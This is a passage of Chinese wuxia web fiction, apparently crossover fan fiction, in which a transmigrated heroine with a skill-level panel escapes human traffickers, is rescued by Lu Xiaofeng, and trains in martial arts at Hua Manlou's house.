“没有”老板眼皮都没有抬,像是轰苍蝇一样挥手驱赶,“不买东西走远点,别打扰我做生意。”
一张银票突然在老板眼皮子底下摇晃着,他激动的要抓住,却抓了一个空,顺着手看过去,陆小凤正似笑非笑的看着他。
“是不是穿了一身青色衣裳,我看见了。”老板说着,伸手去拿银票,陆小凤却后退了一步。
“你见她往哪边去了?”
“我见她去卖菜的那了。”
“谢了!”陆小凤一扬手,扔下银票,走了。
但他的脚步比来时更显焦急,因为他意识到,一个打算买菜的人,恐怕并没有打算出走。
……
“干完这一票,我们能歇上大半年。”
“呜呜呜”
“天天到处跑,我早就想歇歇了。”
“如果把这个丫头倒了手,应该还能有这个数。”
“爹,娘,我害怕…”
“先看看吧。”
迷迷糊糊间,苏青青听到一阵说话声,但声音影影绰绰,听不真切。
此时她正头痛欲裂,这疼痛感甚至比她刚来到此间更重,她甚至能感觉到自己头上的血管“咚咚咚”的跳动。
当然,这种疼痛苏青青也完全可以忍受,但空气中的馊味和尿骚味实在让人恶心。
视线是昏黑的,借着高处木板盖缝隙的一点光,她看清了自己所处的地方。
是一处地窖。
地窖中除了自己还有许多人,小的只有三五岁,大的也就十七八左右,男女都有。
小孩有的在哭泣,有的呆愣愣坐着,大人就多是女性了。
无论男女老少,他们的手脚都被绑的严严实实。
苏青青这才意识到自己也被绑着。
这些人都是清醒的,但都一幅虚弱至极的模样。苏青青知道他们为何虚弱,此时的苏青青感觉自己简直饿的能吃下一头牛,想来他们也不遑多让。
“妹子,你怎么被抓住的?”一个身穿灰色粗布衣裳的姑娘艰难的移动过来问道。
她在众人中年龄偏大,看上去老实本分。
苏青青没有说话。
她对现实世界有些幻灭,她之前跟随林商行行侠仗义,可从来没有这样被对待过,按理说那对祖孙应该对自己感恩戴德,甚至会拿出自己家祖传的物品送给自己。
可是现在什么都没有,不但没有,他们还把自己绑了。
为什么呢?
那灰衣姑娘看苏青青没说话,又自顾自说起来,“他们看我腿脚麻利,说要推荐我去大户人家做工,我才……”
“妹子,你衣裳料子真好,家里肯定是有钱人,你说他们能来找你不,若是他们来找你,能把我也的带出去吗?”
苏青青叹了口气,转头看着她,坚定道,“我不知道会不会有人来救我,但你放心,如果能出去,我肯定会想办法救你们。”
灰衣姑娘听了这话,像是得到保证一般,乖乖闭上了嘴。
苏青青打起精神,开始解手上的绳结,那群人贩子想来很熟练,绳结绑的很紧。
苏青青挣扎了几下,手指完全碰不到绳子,甚至活动都很困难。
“你别试了,他们绑的太紧。”旁边传来灰衣姑娘的声音。
苏青青闻言眼睛一亮,自己不行,但别人行啊,她立即看向灰衣姑娘,“大姐,我们的手打不开,但可以用牙打开啊。”
灰衣姑娘一听就拒绝,“我牙口不好,可咬不动麻绳。”
“那我…”苏青青刚准备表示自己可以给她先解开,就听见旁边传来软软的女声。
“我帮你。”
说话的是是旁边一个一直躺在那里不动的姑娘,那姑娘也是农家打扮,看上去干干瘦瘦的,像是一阵风就能吹倒。
“你正好在你旁边,你转过身去,我给你咬开。”
干瘦姑娘说完,苏青青立刻挪过去,背对她。
“其实我觉得,就是绳
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子开了,我们也出不去,他们外面上着锁呢。”灰衣姑娘说。
四周传来窸窸窣窣的说话声,几个离得近的人在小声讨论苏青青的行为。
“况且这麻绳绑的结实着呢。”灰衣姑娘又道。
苏青青的此时的视线正对着她,她此时撇着嘴,明显不相信她们的方法能成。
但干瘦姑娘的行动却快的很,就这一句话的功夫,苏青青就感觉手腕上的麻绳松开了。
她略一抖手,挣脱束缚,立刻翻身坐了起来。
“先给我解开!”
“我我,救救我!”
……
四周顿时响起一片求救声。
苏青青三下五除二先解开了自己脚上的绳子,刚准备开口让众人安静,就听见隔壁灰衣姑娘扯开嗓子:“快来人啊,有……”
苏青青心头一紧,想也没想就扑了过去,一把将她按在地上,脸朝下死死压住。
“怎么回事?”急促的脚步声噔噔噔跑近,一个男人的声音凶狠如狼。
苏青青正自慌乱,就听那干瘦姑娘开口道:“有位姐姐饿晕过去了,能不能给点吃的?”
“吃?呸,想的倒是挺美!”男人啐了一口,脚步声渐渐远去,想来是转身走了。
地窖中的众人均是松了口气。
苏青青按着灰衣姑娘,只觉手下的人挣扎得厉害,力气竟出奇的大,她几乎快按不住,一时不知该如何是好。
“快打晕她!”干瘦姑娘道。
苏青青闻言,也明白过来不对,迅速扯起灰衣姑娘的头,不等她出声,狠狠往地上撞去。“咚”的一声闷响,身下的人顿时没了动静。
干瘦姑娘道:“你来得最晚,许是不知。这位大姐是最早被抓来的,后来每来一个人,但凡穿得齐整些,她总要问东问西。我先前只当她是害怕,可方才她那一喊……恐怕,她本就是人贩子一伙的。”
苏青青沉默着,伸手给干瘦姑娘解开了绳子。两人不再多言,分头给众人解起绑来。
待所有人都松了束缚,苏青青站起身,抬头望向头顶的木盖。地窖不算深,约莫一丈光景,若是往常,她稍运内力,纵身便能上去。可如今内力全无,那木盖子又上了锁,想出去,怕是没那么容易。
11. 被绑架中2
“他们待会会来送饭,你必须在掀开木盖的瞬间将人制住,倘若不行,我们还不如自缚手脚。”
干瘦姑娘的话一下子打断了苏青青的思绪。
“你怎么确定我有办法制住他们?”苏青青问。
“你比他们聪明一点。”干瘦姑娘环顾四周,叹了口气,“我不确定,但我愿意赌一把。”
苏青青了然,但她也没什么办法,只能看向众人,“大家有没有什么能充做兵刃的。”
“我还剩个木头簪子!”
“我这儿有块石头。”
“碎瓷片行吗?”
“麻绳……麻绳能行么?我就剩这根绳子了。
……
众人七嘴八舌,纷纷将寻得之物亮给苏青青看。
苏青青头痛!众人的兵刃也太草率了。
“这些大家各自拿着防身,万一被发现也有一定的反手之力,至于小孩子…”苏青青看向这些懵懂的小孩,“等会大伙儿尽力让他们先跑,跑到草丛和林子就不容易被发现了。”
把事情安排完,苏青青矮个子里拔将军,弯腰捡起一根麻绳,随手挥了一下,面前浮现面板。
【九阴真经·白蟒鞭法 1/200 掌握】
苏青青原本做好了把白蟒鞭法迅速施展50遍练到掌握的程度,谁成想,面板一点儿也不迂腐,直接把鞭法上升到了掌握的程度。
其实这样也对。
上一辈子苏青青闲来无事,把九阴真经下卷的武功练到了专家级,这一辈子虽然还没开始练习,但脑海中对白蟒鞭法的理解却实实在在存在。
此刻制约苏青青熟练度的反而是她的身体反应和内力。
鞭影在空中翻飞,地窖里一时之间只剩下苏青青挥舞鞭子的呼啸声。
手里的鞭子很重,苏青青渐渐觉得越发饥饿,右臂也开始隐隐酸疼起来,苏青青并不敢耗力过度,以免在关键时刻失手,追悔莫及。
【九阴真经·白蟒鞭法 30/200 掌握】
苏青青盘膝而坐,尝试修炼九阴真经内力,可能是身体状况不佳,心境也难以平静,苏青青仍旧难以入定。
但没有内力也无妨,外功早期本就不太依赖内力,况且白蟒鞭法本身就是上乘武学,单单用它的形也就够了。
时光悄然流逝,地窖中落针可闻,每个人都似乎能感受到自己的心跳声。
地面上突然传来脚步声,所有人都不由自主的向着木盖处看去。
“哗啦啦”的声音传来,是来人开锁的声音。
苏青青猛然站起,在木盖被拉开的一瞬间,苏青青手中麻绳如白蟒出洞,边梢瞬间卷住来人脖颈,顺势往下一拉。
谁知这时候,本来趴在地上一动不动,应该昏迷的灰衣姑娘突然暴起,向着苏青青扑过来。
众人阻拦不及,还是苏青青经验老到,瞬间抬腿,一脚正中小腹,将她踢飞了出去。
灰衣姑娘和送饭的男人几乎同时坠地,众人一拥而上将两人分别按住。
那送饭男人被拉着脖子从高处坠下已然气绝,众人一拥而上,将灰衣姑娘打了个生死不知。
苏青青不去管他们,把麻绳往腰上一插,纵身跃起,手脚并用撑住窖壁,奋力向上攀爬。
一露头,苏青青警惕的打量四周,见院中空无一人,便将梯子轻轻放下了窑洞。
此时屋子里尚且还能听到人贩子们大吃大喝的吆喝声,苏青青放好梯子,轻声凑到窗边去看,屋子里七八个汉子,都身材魁梧。
苏青青自知不是对手,悄悄退回地窖口。
此时众人已陆续爬出,都蹑足潜踪,悄悄往外溜。
也是时运不济,大门被推开的瞬间竟发出“吱呀”一声,屋里人贩子的声音戛然而止,有人高声问道,“谁回来了?”
无人应答,众人发足狂奔!苏青青果断断后,待众人冲出,才闪身而出。
她反身将门带上。取下腰间麻绳将门死死一拴,转身就跑。
人贩子据点深藏山中。脱困后,众人各奔东西:有钻入密林,有逃向深山,也有顺着山路向下跑的。
苏青青走在最后,此时已只能看见众人的背影。
正房里的人贩子已经追了出来。
山路难行,苏青青选择直接顺着山路往下狂奔,
八步赶蝉的熟练度蹭蹭蹭往上涨,她几乎能听到自己如雷的心跳声和剧烈的呼吸声。
越过一个同逃的女子,跑到一处岔路,苏青
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青避之不及,一下子和岔道上出来的人撞了个满怀。
苏青青一打量,那扛着柴从岔路出来的,正是今天上午的热心挑夫!
苏青青今天接连受骗,还因为没把灰衣姑娘绑起来差点大意失手,此时警戒心极重,她二话不说,就要起身跑路。
那樵夫却已伸手扶住她,语带关切:“姑娘,你莫不是今早背老太太那位?怎么行色匆匆,还这么狼狈?”
苏青青不知道这挑夫善恶,纠结之间沉默了下来。
“姑娘这是要回城里去?我家就在前面,不妨去我家喝口水,歇歇脚。”挑夫扶起苏青青便松开了手,热情邀请。
苏青青沉默起来,她跟在挑夫身后,觉得不对劲。
人贩子为何没追来?是被后面的人绊住了?这挑夫……
挑夫沉默的挑着柴,一路走到山脚,远远的可以看到一个小院,烟囱里还冒着炊烟。
苏青青似乎已经嗅到了米饭的香味,她的肚子呼噜呼噜响起来。
“姑娘如果不嫌弃,到我家用点粗茶淡饭。”
说着,他已经推开了家门,高声朝里面喊,“家里的,来客了,先端碗水来。”
挑夫家很整洁,院落里干柴码的整整齐齐,几只鸡在院子里来去啄食。
苏青青看不出任何破绽。
里屋应声出来一个中年妇女,手里端着一个破陶碗,“当家的回来了,这位是……”
“我还有事,就不喝了。”苏青青谨慎,转身欲走。
没走几步,身后脚步声急迫追来。苏青青心头一紧:莫非真是人贩子同伙?
“姑娘喝口水再赶路不迟!此去城里,路还长着呢!”那妇人已追上来,拉住苏青青,言语恳切。
她边说,边把碗递过来。苏青青踌躇片刻,伸手接过陶碗,刚凑到唇边…
背后的门吱呀作响。
苏青青一个机灵,暗道不好,转身一看,挑夫已经关上了门。
苏青青已经是惊弓之鸟,接着一把将碗扣在妇人脸上,拔腿往柴火垛跑去。
纵身跳上柴火垛,翻上墙头,苏青青正准备往下跳,却突然愣住了。
墙外面站着一个熟悉的身影。
“陆公子?”
12. 是陆小凤,不是陆小鸡
日光正盛,光芒洒在陆小凤的红披风上,照的陆小凤仿佛在闪闪发光。
暮春的晚风拂过深山的绿叶和碧水,带来一阵清新的芳香,苏青青一时僵在墙头,竟突然觉得跳下去不太雅观。
而且她此时已经太累了,她感觉自己的心在剧烈跳动,仿佛下一刻就会跳出来。
苏青青只听陆小凤似是极轻的叹了口气,再反应过来时,自己竟已在他怀里,而他们人已经在院中。
“砰”“砰”两声传来,苏青青循声看去,挑夫夫妻齐齐倒在地上,面色好像还很安详。
苏青青惊呆了,她见过第二次华山论剑的盛景,也曾参加少林寺武林大会,论见识之广,可以说是冠绝武林。
但第二次华山论剑稍显草率暂且不提,单就说少林寺武林大会中,萧峰、虚竹、萧远山、慕容博都是个中好手,但单论轻功之高妙,出手速度之快,竟没有一人能与陆公子争锋。
难道陆公子是逍遥派传人?或者是当代武林天下第一?
那他应该有个响当当的名号。
南陆?南侠?疾风快手?
正在苏青青浮想联翩之时,只听陆小凤道:“你难道想让我一直抱着你?”
苏青青立刻从陆小凤怀里下来,低着头不做声。
陆小凤抬腿往门外去,苏青跟上:“陆公子,他们怎么办?”
陆小凤却没有回答苏青青的问题,只是突然道:“你为什么要叫我陆公子?”
苏青青不理解,试探性的恭维道:“陆大侠。”
陆小凤的脚步突然停住,他对苏青青道:“当大侠岂非自找麻烦麻烦?”
“陆恩公?”苏青青迷茫了。
“我以为我们已经是朋友。”陆小凤道。
苏青青愣住,原来他也已经把自己当做朋友。
但是他说这些做什么?
苏青青动脑子想了想,怎么也不明白这个问题该如何回答,她只好含糊的应了一声,“嗯。”
“既然已经是朋友,你何不直接叫我的名字?”
苏青青的脸突然红了,她嗫嚅着,因为她根本不知道陆小凤叫什么!
陆小凤刚开始还静静等着,但他的眉头渐渐皱了了起来,最后,他竟直接跳起来:“你难道竟不知道我的名字?”
苏青青不语。
“我叫陆小凤!”陆小凤道。
“陆小凤?”苏青青惊了,这分明是个女孩的名字,就像段誉的妈妈就叫刀白凤!
“对是陆小凤,不是陆小鸡,也不是陆小鸭。”
苏青青脑袋一转,想起刚见到花公子的场面,是陆小凤救了她,陆小凤有四条眉毛。
想到这里,她忍不住抗议:“可是,你没有四条眉毛,你明明只有两条眉毛!”
“你难道不觉得我的胡子长得很像眉毛?”陆小凤惊讶。
“像……像吗?”苏青青审视陆小凤:“所以你特意把胡子修成眉毛的形状,是为了让自己有四条眉毛?”
陆小凤不理她。
苏青青也沉默下来,但过了一会,她又忍不住开口问道:“陆……小凤大哥,你还没有告诉我他们怎么办,而且山上还有……”
“已经解决了!”陆小凤突然大声说,“我在生气,从现在开始,你不许说话!”
苏青青果然闭嘴,陆小凤却更气了,他生气的摸了摸自己的胡子,仿佛摸到了金庸和古龙世界之间的可悲的厚障壁了。
苏青青沉默的跟着陆小凤,她感觉自己现在已经饿的想吃人了,比如说陆小凤,苏青青感觉自己现在觉得他看上去就很香很可爱。
苏青青赶紧打消念头,轻轻开口:“陆大哥,我们能不能回去把粥喝了,我好饿。”
……
好饿的苏青青回到了小楼,面前的桌上摆着精致的菜肴,苏青青不敢说话,只是默默吃饭。
花满楼还是笑着,又温柔,又包容。
陆小凤已经滔滔不绝的向花满楼讲述了他今天的经历。
陆小凤以为的,是苏青青被青衣楼这样的大型组织抓走,或者设计了一个绝妙的陷阱要把自己引走。
而现实是,苏青青被一个小小的,一个江湖人都没有的人贩子集团抓走了。
经过这一遭,陆小凤反而觉得自己可以和苏青青做朋友了,毕竟她还有一点可爱之处。
不管她有什
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么阴谋,至少此刻,他们是朋友。
苏青青嘴里塞着米饭,耳朵竖起来听陆小凤和花满楼的对话。
听到花家已经接手了剩下的事情,苏青青松了口气。
面前的饭菜似乎更香甜了。
她从前也做饭,比如黄蓉拿手好菜,“玉笛谁家听落梅”、“二十四桥明月夜”,她都学过。
但这些饭菜吃起来也没什么了不起,不过是往嘴里一倒就消失,然后增加一些内力,减轻一些伤势罢了,效果还没有丹药好。
面前这些菜看上去普普通通,却各有各的美味。
米饭是嚼一口就能感受到清香的,菜是爽口的。
苏青青仔细的咀嚼着每一口饭菜。
陆小凤突然叹了一口气:“实在太惊险了。”
花满楼奇怪的看向他。
陆小凤道:“如果我们再晚回来一会,她也许就会饿死。”
花满楼盛了一碗汤,放到苏青青面前,又递了勺子过去,“慢慢吃,喝口汤。”
“谢谢花公子。”苏青青谢过花满楼,乖乖的拿着勺子喝汤。
陆小凤阴阳怪气道:“有的人虽然看起来乖的很,说不定连人家的名字都不知道。”
苏青青感觉自己的脸好像烧了起来。
花满楼道:“她不知道你的名字?”
陆小凤道:“谁说的,也许她只是不知道你的名字。”
“你错了”花满楼脸上突然露出狐狸一样狡黠的微笑,他很少这么笑,“她知道。”
“你知道?”陆小凤问苏青青。
“花满楼花公子。”苏青青老老实实回答。
花满楼微笑着看向陆小凤。
陆小凤不语。
花满楼向苏青青道:“你有没有受伤?”
苏青青摇头。
“你江湖经验不足,今后莫要独自出行。”
苏青青乖乖点头。
“你应该很累了,好好休息休息吧。”
苏青青又点头,只是突然的,她的动作愣住了。
“怎么?”
“我想起来了!”苏青青惊呼,“我的银票被他们拿走了!”
13. 休整一下
苏青青的银票没有回来,陆小凤也没有大方的再甩给她一张银票。
陆小凤和花满楼似乎已经在不知不觉间统一了口径,认为她必须要智慧和武功有其一才有资格闯荡江湖。
苏青青赞同他们的说法,毕竟她目前好像连现实生活中的人说话都听不懂,足以说明她没有智慧。
而孤零零只摆了【九阴真经·白蟒鞭法 1/200 掌握】的面板也告诉她,她没有武功。
而且她还没有钱。
三无的少女,没有资格闯荡江湖。
饭已经吃完了,碗筷还没有刷新。
陆小凤就像一只灵活的燕子,拍拍翅膀从窗边飞走了。
苏青青眼睁睁看着花满楼端起了碗筷。
这个行为,一点儿也不江湖。
“你要干什么?”苏青青惊讶,“为什么不等它们消失?”
“消失?”花满楼疑惑。
“我们吃完饭,碗筷不是会自己消失吗?”苏青青记得她第一次吃饭的场景。
为了能补充体力,她在酒楼里打包了各种各样的饭菜,那些饭菜吃起来都一样的简单——放在嘴边,饭菜和盘子一起消失。
现在饭菜需要一口一口吃,难道盘子也需要?
苏青青努力回忆昨天下午自己吃的第一顿饭菜,是粘稠的蔬菜粥,她喝完后花满楼就带走了,然后端来了一碗药。
问题来了,碗去哪里了?花公子偷偷吃掉了?
苏青青打量花满楼。
花满楼很温柔的笑了,笑的很包容:“碗筷当然不会消失。”
果然是他吃了?苏青青呆愣愣看着花满楼。她要去看看。
花满楼在前面端着碗筷,苏青青就像是鹅妈妈身后的呆头小鹅,亦步亦趋的跟着。
等鹅妈妈给自己戴上襻膊,轻轻松松将碗筷清洗干净,苏青青简直惊呆了。
“我想起来了。”苏青青喃喃道。
早期被植入的知识突然又被唤醒,这就是洗碗。太多世的轮回已经让她忘记了这理所当然的常识。
碗需要洗,衣服当然也需要洗,身体自然也需要洗。
想到这里,她好像又闻到了地窖里那种又酸又臭的气味。
她是不是真的很臭,陆小凤是不是飞去洗澡了?
她突然特别想一头扎进井里去,无地自容这个词也突然生动起来了。
苏青青跟着忙碌着熬药的花满楼,看着他熟练的生火熬药,修长的身姿呈现出某种妈妈才有的魅力。
她有点想清洗一下,但是不敢说。
因为遥远的记忆突然攻击了她,她被陆小凤救回来时的衣服去哪里了,伤口是怎么处理的,昨天她换了一身衣服,衣服又去哪里了?
最重要的是,花满楼是一个瞎子。
自己本应该照顾好他,现在却一直被他照顾,甚至连怎么帮忙都不懂,还要麻烦他帮自己。
她看着勤劳的花满楼,欲言又止。
花满楼敏锐的感受但她的欲言又止,安抚道:“来者是客,你只需好好做客。”
苏青青继续欲言又止。
花满楼叹气:“青青有话直说便是。”
“我想洗个澡,换身衣服。”苏青青声音小小的,羞愧的低下了头。
“抱歉的很,我忘记了。”花满楼却没有不好意思的样子,他看起来真的像一个没安排周到的主人,“你昨天的衣服我让人给你洗好了,你去房间等一会,我让人给你烧水送上去好不好?”
苏青青当然立刻点头说好,一溜烟的溜走了。
……
敲门送水的是一位大娘,穿的干净整洁,十分利落的样子。
想也知道,虽然花满楼坚持自己一个人生活,但一个从小养尊处优的贵公子总不可能一下子独立到完全没有下人。
哪怕他完全不需要,也会有人随时待命。
大娘夫家姓张,苏青青叫她张大娘,张大娘先是搬了木桶来,然后去提热水。
苏青青自然跟着一起去提,中途还被花满楼扣住喝了药。
“姑娘恢复的真快,七少爷喊我来给你检查身体上药的时候,你烧的浑身滚烫的。”张大娘一边兑水,一边说。
苏青青于是好奇起来
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,“花公子家里有很多人吗?”
“花家是一个很大的家族,这个家族里的每一个人都很了不起……”张大娘喋喋不休的吹嘘起来。
这一刻,苏青青仿佛回到了过去,游戏中的人物也会用咏叹的语调吹捧林商行。
……
苏青青此时已经泡完了澡。
这两日的光阴如流水一般匆匆而逝,各种事情接连发生,苏青青此刻终于能静下来。
她已经经受过现实的毒打,认识到只有拳头才是硬道理。
她摆开架势,将太祖长拳从头到尾打了一遍,她打的非常慢,有些动作也免不了不标准,
但那绝不是因为苏青青不了解太祖长拳,而是因为这具身体已经到达了极限。
就像人人都知道怎么弯腰劈叉,但要真正弯下腰去,还非得要吃一些苦头不可,甚至有根骨差一些的苦头没少吃,动作做不到也有可能。
而面板则在此时无视了苏清清身体本身的天赋,强制提高身体对内外功法的适应力。
大概类似于无时无刻不在练习九阴真经中的易筋锻骨篇?
选择太祖长拳也有原因,太祖长拳虽然是一门烂大街的拳法,但自从在聚贤庄见到萧峰以太祖长拳遍败群雄后,苏青青就将其奉为武林至高武学之一。
随着苏青青意念一动,面板弹出,【太祖长拳 1/100(掌握)】。
她的内心产生了奇异的满足感和安全感。
而身体的疲惫已经让她的内心平静下来。
就着平静的心绪,苏青青在床榻上盘膝而坐,一股热流随着她的呼吸,在下丹田处一收一放,有节奏的律动着,苏青青顺势以九阴真经的行功路线搬运内力。
【九阴真经·残篇 1/50(入门)】
苏青青奇怪的皱眉,其它功法的熟练度都是从“掌握”开始,偏偏内功心法这么重要的东西却从入门开始。
此事苏青青却不明白,以她十六七岁的骨龄,身体的主人又从小吃苦,能有气感已经是侥天之幸,若没有面板,究其一生也无望功法有成。
夜已经深了。
14. 《九阴真经》
苏青青是被歌声吵醒的,歌声不太好听,但歌声的主人显然很自信。
睁开眼的时候,天光已经大亮,阳光照到苏青青的脸上,温温热热的。
眼前浮现一晚上的修炼结果【九阴真经·残篇 3/50(入门)】。
苏青青有些怀念过去能够不眠不休的修炼的日子了,她昨夜本打算像杨过睡寒玉床一样,边睡觉边修炼,可没想到身体压根不允许,迷迷糊糊就睡了过去。
如果没有这歌声的出现,她也许还能继续睡下去。
苏青青简单梳洗一番,推开了房门。
歌声更大了,叮叮当当的敲击碗筷声,和着陆小凤的歌声,一起攻向苏青青的耳朵。
“重湖叠巘清嘉,有三秋桂子,十里荷花。”
他扯着嗓子喊,没有什么美感可言,但花满楼却仍旧笑着听他唱歌。
苏青青凑过去,面无表情的看他唱歌。
她不太愿意直接告诉陆小凤歌声难听的事实,但她实际上很想吐槽。
陆小凤的歌声停了,他看向苏青青,自言自语道:“我怎么好像看到一只虫子爬出来了。”
苏青青立刻低下头,左右打量自己的衣服,她虽然不怕虫子,但也绝不愿意看到虫子在自己身上爬。
花满楼笑:“那是不是一只会说话的虫子?”
“不单会说话,还很懒。”陆小凤道。
苏青青眼睛慢慢瞪大,恍然意识到,懒虫竟然是自己。
陆小凤是苏青青见过最喜欢挤兑人的人,她忍了又忍,还是忍不住学着陆小凤的口气道:“我今天怎么好像听见鸭子在唱歌?”
花满楼立刻倒戈:“好像还是一只红鸭子。”
苏青青大笑起来。
陆小凤突然道:“你好像已经有了内力?”
苏青青点头,脸上还忍不住有些得意。
苏青青本不是得意的性格,但陆小凤太得意,她也忍不住想看看陆小凤惊讶的样子。
但得意了过后,她就奇怪起来:“你怎么知道?”
陆小凤却不回答,只是问花满楼:“你知不知道?”
花满楼微笑。
“花公子也知道?”
花满楼颔首。
但花满楼好在没有卖关子的意思,开口道:“你行走之间,脚步轻盈了许多。”
说完花满楼伸手一捉,轻松捉住了苏青青的手腕。
苏青青只感到一股浑厚的内力借由内关穴缓缓流入自己体内,她甚至连收束内力都不需要,就被人人看透了深浅。
花公子竟也是中原五绝一般的人物!
“是以阴胜阳,以柔克阴的正宗的的纯阴功法。”花满楼缓缓收回内力,评价道。
苏青青点头又摇头:“《九阴真经》本是阴阳互济的道家功法,但是我不懂梵文,没有修习总纲,所以我修行的只能算是残篇。”
“梵文总纲?”花满楼感兴趣起来。
“对啊,《九阴真经》乃是黄裳所创……”苏青青滔滔不绝讲述起了黄裳无师自通从道藏之中领悟武功,以及潜心研究功法复仇却物是人非的故事。
没等她讲完,陆小凤就迫不及待的道:“你是说你修炼的功法是自己编的?”
“是黄裳自己编的。”苏青青点头。
花满楼和陆小凤面面相觑,他们实在难以想象,难道苏青青除了编造了自己的来历。还凭空编造了一本真正能修炼的武功?
片刻后,陆小凤突然大声道:“我不相信,一个普通人怎么可能自创武功!”
陆小凤想要用激将法刺激苏青青背出《九阴真经》,又怕花满楼不能配合,正着急间,只听花满楼道。
“确实难以让人信服。”
苏青青方才感受过花满楼的内力,感觉他内力不在天下五绝之下,陆小凤身手也是天下第一,并不怕他们贪图《九阴真经》,总之她也赢不了这两人。
更何况,她眼睁睁看着林商行到处入手绝世武学,便觉得绝世武学也不过尔尔,当下便开口背出。
“那就请两位品鉴一二,天之道,损有余而补不足,是故……”
小楼内寂静无声,陆小凤本就不相信苏青青自述的来历,此时听到真经,更是陡然一惊,倘若苏青青的确身负秘密,她连如此绝世神功都肯相告,她所带来的麻烦岂不更大?
但他又想到苏青青死活不说出真相,便又觉得非要凑这个热闹不可了。
“怎么了?”苏青青发觉两人神色有异,奇怪道。
花满楼摇头。
陆小凤神秘莫测道:“如果有一件事,别人都无法办到,那恐怕还有一个人能办到。”
他希望苏青青能对他恭维一二,并乖乖说出自己的秘密。
“啊?
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”苏青青奇怪,这话题又到哪里去了?“你的意思是,那个人能帮我翻译梵文总纲?”
陆小凤沉默了,他不是第一次发现自己和苏青青说话时驴唇不对马嘴,但还是忍不住故弄玄虚一下,导致……
“那人是谁?”苏青青追问。
“当然是陆小凤!陆小凤交友遍天下,如果天下间有一个人既精通梵文,又精通武学,能帮你翻译总纲,那他一定是陆小凤的朋友。”花满楼道。
“太好了,”苏青青急忙问陆小凤,“我把梵文总纲交给你,你什么时候能给我翻译?”
不等陆小凤回答,她问花满楼,“纸笔在哪?我要写下来!”
陆小凤苦笑,只有苦笑。
苏青青迅速拿了纸笔,写下一个“天”字。
陆小凤看着纸上歪歪扭扭的字,欲言又止。
“怎么了?”花满楼问。
陆小凤突然长叹一声道:“有时候,我情愿自己也是一个瞎子。”
苏青青也很震惊,她明明很清楚字的一笔一划,也能鉴赏字的好坏,但她竟然连一个笔画都写不直。
书法当然也像武功,理论高手不一定会实战,就像王语嫣打不过任何人。
花满楼却好像已经了解了一切,他精准的接过苏青青手中的笔,洋洋洒洒的默下了梵文总纲。
苏青青轻声道:“我好像只背了一遍。”
“一遍已经足够。”花满楼道。
“一遍已经足够。”陆小凤也道。
“你是不是真的看不见?”苏青青问花满楼。
花满楼微笑点头。
陆小凤道:“你是不是发现,你的眼睛也没什么用。”
苏青青突然卷起梵文总纲,一股脑塞进陆小凤怀里,塞的他后退一步,她大声说:“你走吧!”
“现在?!”
破防的苏青青瞪他:“当然是现在!”
说完以后她又觉得不妥,低下头不说话了。
“看来你并不是一只小猫,而是一只小母老虎。”陆小凤收起梵文总纲,笑道。
苏青青的脸已经红了。
“你准备什么时候走?”花满楼突然问。
“现在。”
陆小凤又从窗边飞走了,就像他飞来时一样。
苏青青看着他消失的方向,喃喃道:“他真的好像一只小凤凰。”
15. 论武
苏青青已经享受完了早饭,此刻她坐在窗边,嗅着芬芳的花香,听着美妙的琴声,看着花满楼弹琴。
他纤长的手指落在琴弦上,每一个动作都像在跳舞。
相貌英俊,多才多艺,唯一的缺点竟然是他是一个瞎子。
但灵鹫宫的医书,岂不正能治疗瞎子?
苏青青没有急于开口,而是默默等待一曲终了,她在脑海中畅享花满楼的欣喜若狂。
“你听没听说过缥缈峰灵鹫宫?”苏青青的声音在最后一个音符落下后立刻响起。
花满楼:“……”又要开始了吗?
苏青青默认花满楼想听她继续说,她便从善如流:“缥缈峰灵鹫宫是逍遥派弟子天山童姥的所在,内有逍遥派医书,医书中有换眼之法,端的是奥妙无穷。”
花满楼微笑道:“你一定觉得我是一个瞎子,所以我绝不会开心。”
苏青青:“不是,我……”没有这个意思。
花满楼道:“其实做瞎子也没什么不好,眼睛虽看不见,但我还能听得到,感受的到,而且我感受到的反而比别人更多。”
苏青青:“我知道。”
花满楼愣住:“你知道?”
苏青青道:“我知道感受不到的痛苦,所以我知道能感受到的幸福。我知道风的柔软,花的清香,食物的美味。”
花满楼道:“那你就更该知道,能享受这一切,本就是一种幸福,是不是瞎子又有什么要紧?”
苏青青立刻打断他:“那并不代表看不到不重要,你现在很幸福,但如果能亲眼见到这些美好的事物,肯定会更幸福。”
花满楼沉默了,他知道苏青青是好心,但苏青青显然不知道,她口中的世界和这个世界不是一个世界。
“既然你知道能亲眼见到这一切的幸福,怎么忍心剥夺别人看见的权利?”花满楼道。
苏青青震惊,她没想到世界上竟有这样善良的人,她落荒而逃。
“我去练功。”
花满楼微笑点头。
苏青青噔噔噔几步跑下了楼。
她跑下楼才发现,小楼的门竟然又是开着的,门外能看到普通的百姓来来往往,他们并不富裕,但每个人都看上去未来充满了希望,每个人都看上去很善良。
想到自己上次被骗的经历,苏青青心有余悸,立刻过去关上了大门。
苏青青摆开架势,打算先刷一刷太祖长拳。
《九阴真经》原是天下武学要旨,不论内家外家、拳法剑术,诸般最根基的法门诀窍,都包含在真经的上卷之内。(《射雕》第十八回)。
所以上卷功法是诀窍,重在领悟,自然不适合刷熟练。
苏青青昨日练习的白蟒鞭法则是下卷武功,下卷为黄裳整合天下各家各派精妙功法,其中既有练法也有破法,但有阴毒之嫌。
苏青青虽然人情世故不是很通,但下意识的不愿在花满楼这样的正派面前演练。
所以她选择了沙场正宗,六十四路太祖长拳,太祖长拳堂堂正正,萧峰使了都说好。
她今天没有刻意将动作放的很慢,她现在已经感受到练武过度后的浑身酸痛,所以并不追求将动作做的很标准。
反正只是刷一下数值而已,苏青青摆开架势,一招一式演练起来,大开大合的招式,明显是沙场的路子。
……
花满楼本要继续弹奏,你想,如果有佳人起舞,你弹琴为伴,是不是一件很风雅,很愉悦的事情。
但花满楼还没有拨动琴弦,就已经停下了,他已经感受到了杀气,他缓缓起身,双手负在身后下了楼。
越往下走,拳风越盛,杀气越重,花满楼纵身跃下楼梯,他的袖袍轻轻一拂,苏青青就感觉自己的劲力不由自主的回到自己身上。
苏青青眼睛发亮,花公子果然是高手无疑,这以柔克刚的劲力,已经达到武术的至高境界。
她后退几步卸去力,真诚夸赞道:“花公子好厉害!”
“你练的是沙场的拳法。”花满楼道。
苏青青点头,但想到花满楼看不到,她又补了一句:“是宋太祖赵匡胤传下的太祖长拳,这拳法本就是中原武林最流行的武功,花公子竟不知道么?”
“你使这套拳法时肃杀之气过重,
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用来刚猛异常,须知过刚则易折。如果你能多领略领略世间的美好,拳法必能有所精尽。”花满楼微笑道,他本意在于提醒苏青青杀气过重。
